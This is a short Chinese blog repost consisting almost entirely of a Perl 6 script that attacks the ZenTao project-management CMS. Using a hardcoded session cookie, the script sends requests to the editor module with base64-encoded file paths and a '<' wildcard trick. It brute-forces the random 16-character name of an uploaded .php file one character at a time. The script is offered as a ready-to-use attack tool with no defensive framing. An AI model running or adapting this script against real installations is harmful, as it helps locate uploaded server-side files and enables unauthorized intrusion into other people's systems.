禅道CMS 获文件名脚本

发表于:2018-2-07 11:05

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:Perl6    来源:博客园

use Net::HTTP::GET;
use Base64;

my %header   = :Cookie<lang=zh-cn; theme=default; lastProduct=2; windowWidth=1855; windowHeight=532; sid=jg9g2mk5kmru46lmd3g2evoc87>;
#my $response = Net::HTTP::GET("http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=YzpccGhwc3R1ZHlcV1dXXHplbnRhb3Btc1x3d3dcZGF0YVx1cGxvYWRcMVwyMDE4MDFcMDwucG5n&action=override&isExtends=", :%header);
#say so $response.content :force ~~ /201801/;
my $url = 'http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=';
my $end_url = '&action=override&isExtends=';


my @check_chars = |('a'..'z'),|('0'..'9');
#保存文 件名 16位
my @filename;

for 1..16 -> $length {
  say "------->$length";

      for @check_chars -> $swap_char {
              my $target;
              my $char = @filename.join('')~$swap_char;
              say $char;
              #sleep(2);
              if $char.chars == 16 {
                $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'.php',:str)~$end_url;
              } else {
                $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'<.php',:str)~$end_url;
                #>
                #>>>>>>>>>
                # a+('>' x 15).php => a>>>>>>>>>>>>>>>.cellspacing
                #a*.png => 
              }
              #sleep(1);
              say $target;
              #sleep(2);
              my $html = Net::HTTP::GET($target, :%header);

              if so $html.content :force ~~ /201801/ {
                  @filename.append($swap_char);
                  last;
              }

      }
}
say "Found -----> "~@filename.join('');

上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号